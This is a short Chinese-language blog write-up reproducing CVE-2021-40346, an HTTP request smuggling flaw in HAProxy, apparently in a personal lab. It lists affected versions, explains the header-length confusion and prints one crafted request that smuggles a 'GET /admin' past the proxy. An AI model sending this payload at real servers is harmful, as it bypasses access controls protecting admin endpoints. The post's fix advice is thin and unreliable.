CVE-2021-40346 HAProxy——http请求走私漏洞
零、写在前面
本来打算学习积累一下中间件、oracle、shell这方面的知识(别问,问就是工作中需要的多一些),过程中忽然发现了http smuggle这个漏洞,比较新奇,类似于溢出的利用方式深深把我吸引住了……索性先学习一下http是怎么走私的吧~
一、漏洞概述
HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性、负载均衡,以及基于TCP和HTTP的应用程序代理。
HAProxy特别适用于那些负载特大的web站点,这些站点通常又需要会话保持或七层处理。HAProxy运行在当前的硬件上,完全可以支持数以万计的并发连接。并且它的运行模式使得它可以很简单安全的整合进架构中, 同时可以保护web服务器不被暴露到网络上。
二、影响版本
- 2.0.25
- 2.2.17
- 2.3.14
- 2.4.4
三、漏洞原理
简单来说,如果请求包中同时存在Transfor-Encoding和Content-Length,并且代理与服务器分别依据两个不同的参数进行包大小的判断,就有可能会错误的判断body,从而引起http smuggle。详情参见大佬的文章——https://blog.csdn.net/weixin_50464560/article/details/120458520
四、漏洞复现环境
OS:Kali Linux
五、实验步骤
1.根据github提示,安装docker,访问页面
2.抓包、构造恶意请求数据包
POST /guest HTTP/1.1 Host: 192.168.117.131:10001 Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: Content-Length: 23 GET /admin HTTP/1.1 h:GET /another HTTP/1.1 Host: 192.168.117.131:10001
3.发送恶意数据包,看到成功smuggle
六、修复方式
最好的修复方式——限制包的长度……